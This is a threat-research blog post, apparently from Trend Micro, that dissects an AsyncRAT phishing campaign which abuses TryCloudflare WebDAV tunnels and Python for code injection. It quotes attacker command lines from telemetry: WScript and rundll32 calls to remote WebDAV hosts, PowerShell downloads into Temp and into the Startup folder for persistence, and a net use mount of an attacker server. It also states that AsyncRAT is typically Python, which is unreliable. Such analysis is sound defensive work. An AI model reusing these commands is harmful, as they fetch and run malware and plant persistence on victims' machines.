Threat actors exploited Cloudflare's free-tier infrastructure and legitimate Python environments to deploy the AsyncRAT remote access trojan, demonstrating advanced evasion techniques that abuse trusted cloud services for malicious operations.
By: Buddy Tancio, Jed Valderama, Khristoffer Jocson, Frankylnn Uy Jan 12, 2026 Read time: ( words)
AsyncRAT has emerged as a notable Remote Access Trojan (RAT) used by threat actors for its robust capabilities and ease of deployment. It gained favor for its extensive feature set, which includes keylogging, screen capturing, and remote command execution capabilities. Its modular architecture, typically implemented in Python, provides flexibility and ease of customization, making it a preferred tool of choice for cybercriminals.
During our investigation of AsyncRAT infections, we observed Python scripts playing a central role in the infection chain, automating various stages of the attack. The initial payload, a Windows Script Host ( WSH ) file, was designed to download and execute additional malicious scripts hosted on a WebDAV server. These scripts facilitated the download of batch files and further payloads, ensuring a seamless and persistent infection routine.
The attackers cleverly exploited Cloudflare's free-tier services to host their WebDAV server, abusing the platform's reliability and widespread trust to evade detection. By using Cloudflare's infrastructure, the threat actors masked the malicious activity under legitimate domains, making it challenging for traditional security solutions to identify and block the threat.
Similar behavior was documented before by other researchers. However, since then there have been changes in the behavior of the scripts, as well as differing main payloads.
This entry dissects the attack chain from initial compromise through AsyncRAT deployment, examining the attacker's techniques for system infiltration and persistent access.
Figure 1 illustrates the observed behavior of the threat across the cases we investigated. During the initial stages of the attack, users received a phishing email containing a Dropbox link leading to an Internet Shortcut file( .url ). When opened, the file redirects users to download multi-stage scripts hosted on TryCloudflare domains. These scripts then install a Python environment, establish persistence via startup folder scripts, and inject code into explorer.exe . The final payload ( new.bin ) was identified to be AsyncRAT.
Our investigation indicated that the user was likely compromised via a phishing attack. The image below shows the presence of Outlook.exe , suggesting that the attack involved directing the user to download a malicious archive file named Rechnung zu Auftrag W19248960825.pdf.zip (translating to “Invoice for Order” in German). In all the cases we observed, the file name " Rechnung " (German word for invoice, bill or check) remained consistent, followed by additional characters.
Our telemetry also showed that the user downloaded the Rechnung zu Auftrag W19248960825.pdf.zip via msedge.
eventSubId: 603 - TELEMETRY_INTERNET_DOWNLOAD objectFilePath: C:\Users\ \AppData\Local\Temp\MicrosoftEdgeDownloads\6afacba0-f0d1-4b8b-85c7-5bfc8784b9c5\Rechnung zu Auftrag W19248960825.pdf.zip parentFilePath: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exerequest: hxxps[:]//dl[.]dropboxusercontent[.]com/scl/fi/50mvsqpvyxid7m39g773l/Rechnung-zu-Auftrag-W19248960825.pdf.zip?rlkey=rtgatrazvz9rbqtxbj9rtf7os&st=t318uel6&dl=0
The downloaded ZIP file contains the Rechnung-zu-Auftrag-W19248960825.pdf.url Internet Shortcut file, which links to a WebDAV resource hosted on various servers within Cloudflare's free-tier service with URLs containing trycloudflare[.]com in their names. These URLs point to a Windows Script Host file ( as.wsh ) located in the DavWWWRoot directory. The specific URLs used in these shortcut files may vary, but they all employ the trycloudflare[.]com domain to obfuscate their true intent.
The following are a list of URLs from the shortcut files in the cases we investigated. Note that these URLs are designed to evade detection and facilitate the download and execution of malicious scripts hosted on Cloudflare's free-tier service remote servers.
, the svchost.exe process initiates the WebClient service to enable interaction with WebDAV servers. Meanwhile, rundll32.exe executes the DavSetCookie function from davclnt.dll with parameters specifying a WebDAV server ( plus-condos-thy-redeem.trycloudflare[.]com ) and an SSL connection. This is for downloading additional files from the remote server.
processFilePath: C:\Windows\System32\svchost.exe processCmd: C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClient eventSubId: 2 - TELEMETRY_PROCESS_CREATE objectFilePath: C:\Windows\System32\rundll32.exe objectCmd: rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie plus-condos-thy-redeem.trycloudflare[.]com@SSL
The initial stage of the threat installation employs either Windows Script files ( .wsf and .wsh) or batch files ( .bat ). The file names vary, but the overall routine stays constant. In most of the cases that we investigated, the first file that was downloaded and executed was as.wsh which, in turn, downloads and executes anc.wsf .
processFilePath: C:\Windows\explorer.exe processCmd: C:\WINDOWS\Explorer.EXE eventSubId: 2 - TELEMETRY_PROCESS_CREATE objectFilePath: C:\Windows\System32\wscript.exe objectCmd: "C:\WINDOWS\System32\WScript.exe" "\\plus-condos-thy-redeem.trycloudflare[.]com@SSL\DavWWWRoot\as.wsh"
The downloaded file \\plus-condos-thy-redeem.trycloudflare[.]com\DavWWWRoot\anc.wsf was subsequently executed. Our telemetry shows that it ran the following command, mirroring the execution method we observed for as.wsh :
Table 1. Trend Micro Antimalware Scan Interface (AMSI) telemetry generated by the file “anc.wsf”
In summary, anc.wsf performs the following:
The Vio.bat file is responsible for executing a PowerShell command that downloads the Python 3.14.0 embedded distribution zip file from the official Python website and saves it to the user's local temporary directory, specifically at C:\Users\ \AppData\Local\Temp\p.zip .
processFilePath: C:\Windows\System32\cmd.exe processCmd: C:\WINDOWS\system32\cmd.exe /c ""C:\Users\ \AppData\Local\Temp\vio.bat" h " eventSubId: 2 - TELEMETRY_PROCESS_CREATE objectFilePath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe objectCmd: powershell -Command "iwr ' -OutFile 'C:\Users\ \AppData\Local\Temp\p.zip'"
The other downloaded batch file ( xeno.bat ) has near-identical functions to vio.bat . However, unlike the behavior, it opens a legitimate PDF document to deceive the victim into believing a normal PDF file was accessed.
processFilePath: C:\Windows\System32\cmd.exe processCmd: C:\WINDOWS\system32\cmd.exe /c ""C:\Users\ \AppData\Local\Temp\xeno.bat" " eventSubId: 2 - TELEMETRY_PROCESS_CREATE objectFilePath: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe objectCmd: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument
This batch file ( xeno.bat ) invokes PowerShell to download a ZIP file from the internet and save it to the user's temporary folder. The downloaded file, in this specific case, is an embedded version of Python 3.14.0 for 64-bit Windows systems, which is saved as p.zip . processFilePath: C:\Windows\System32\cmd.exe processCmd: C:\WINDOWS\system32\cmd.exe /c ""C:\Users\ \AppData\Local\Temp\xeno.bat" h " eventSubId: 2 - TELEMETRY_PROCESS_CREATE objectFilePath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe objectCmd: powershell -Command "iwr ' -OutFile 'C:\Users\ \AppData\Local\Temp\p.zip'"
The archive p.zip was then extracted using the PowerShell command Expand-Archive to C:\Users\ \AppData\Local\z1man .
It then establishes persistence by dropping a batch file in the Startup folder; however, this time it downloads the files ahke.bat and olsm.bat . powershell -Command "iwr ' -OutFile 'C:\Users\ \AppData\Roaming\Microsoft\Windows\Start \Programs\Startup\ahke.bat'" powershell -Command "iwr ' -OutFile 'C:\Users\ \AppData\Roaming\Microsoft\Windows\Start \Programs\Startup\olsm.bat'
The following table summarizes the activities of the vio.bat and xeno.bat files.
Table 2. Summary of the vio.bat and xeno.bat files based on AMSI telemetry
We observed python.exe being used to perform code injection into explorer.exe via the command python ne.py new.bin -k a.txt . Analysis revealed that new.bin contains shellcode, which we identified as AsyncRAT.
Note that in some cases, Python was not downloaded from the official website, instead, the net use command was used to mount the WebDAV server where the Python library was hosted. In the example below, it was mounted to the Q drive to facilitate the transfer.
objectCmd: net use Q: "\\syracuse-seeks-wilson-row.trycloudflare[.]com@SSL\of" /persistent:no
The Python library was then extracted from the mounted Q drive to C:\Users\ \AppData\Local\Microsoft\SystemCache25 . This directory contains the complete Python library as well as the malicious shell, keys, and Python scripts.
xcopy "Q:\extracted\*" "." /Y /I /S C:\Users\ \AppData\Local\Microsoft\SystemCache25\_zstd.pyd
We successfully extracted all files from one of the active remote servers at 87[.]106[.]191[.]217:5380 , which revealed the complete set of files used to install AsyncRAT. The remote server contained all the files that we observed using Trend Vision One™.
To further understand the capabilities of the threat, we analyzed all its components, which will be discussed in the section.
The other files hosted on the TryCloudflare sites do not appear to be used for this specific case, though they may be employed in separate attack chains. Although the specific context of these files is unclear, their presence suggests that attackers may reuse a single TryCloudflare tunnel instance across multiple attacks until it is reported and taken down by Cloudflare.
This graph shows the relationships between the WebDAV servers hosted on TryCloudflare:
Both servers host the same set of files. While minor variations result in differing file hashes, the overall file structure remains highly similar. Both URLs also retrieve a legitimate PDF file from the website ihk[.]de and host the final payload, which performs code injection into explorer.exe using Python, and ultimately loads the AsyncRAT shell.
The AsyncRAT campaign analyzed in this report demonstrates the increasing sophistication of threat actors in abusing legitimate services and open-source tools to evade detection and establish persistent remote access. By utilizing Python-based scripts and abusing Cloudflare’s free-tier infrastructure for hosting malicious payloads, the attackers successfully masked their activities under trusted domains, bypassing traditional security controls.
The infection chain began with a phishing email and a deceptive ZIP archive, ultimately leading to the download and execution of multiple batch and script files, the installation of a Python environment, and the deployment of an advanced code injection routine. The attackers’ use of living-off-the-land techniques, including the use of Windows Script Host and PowerShell, further complicates detection and response efforts. The campaign also employed social engineering tactics, including the display of legitimate PDF documents, to deceive victims and reduce suspicion.
This attack highlights the ongoing trend of abusing cloud tunneling and legitimate hosting services to deliver and execute malware. It underscores the need for organizations to adopt a multi-layered security approach and maintain vigilance against evolving tactics, techniques, and procedures (TTPs) employed by cybercriminals.
Here are some best security practices we recommend for defending against these attacks:
Trend Vision One is the only AI-powered enterprise cybersecurity platform that centralizes cyber risk exposure management and security operations, delivering robust layered protection across on-premises, hybrid, and multi-cloud environments.
To stay ahead of evolving threats, Trend customers can access Trend Vision One™ Threat Insights which provides the latest insights from Trend™ Research on emerging threats and threat actors.
Trend Vision One customers can use the App to match or hunt the malicious indicators mentioned in this blog post with data in their environment.
malName: *SHELMA* AND new.bin AND LogType: detection
The indicators of compromise for this entry can be found here .
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
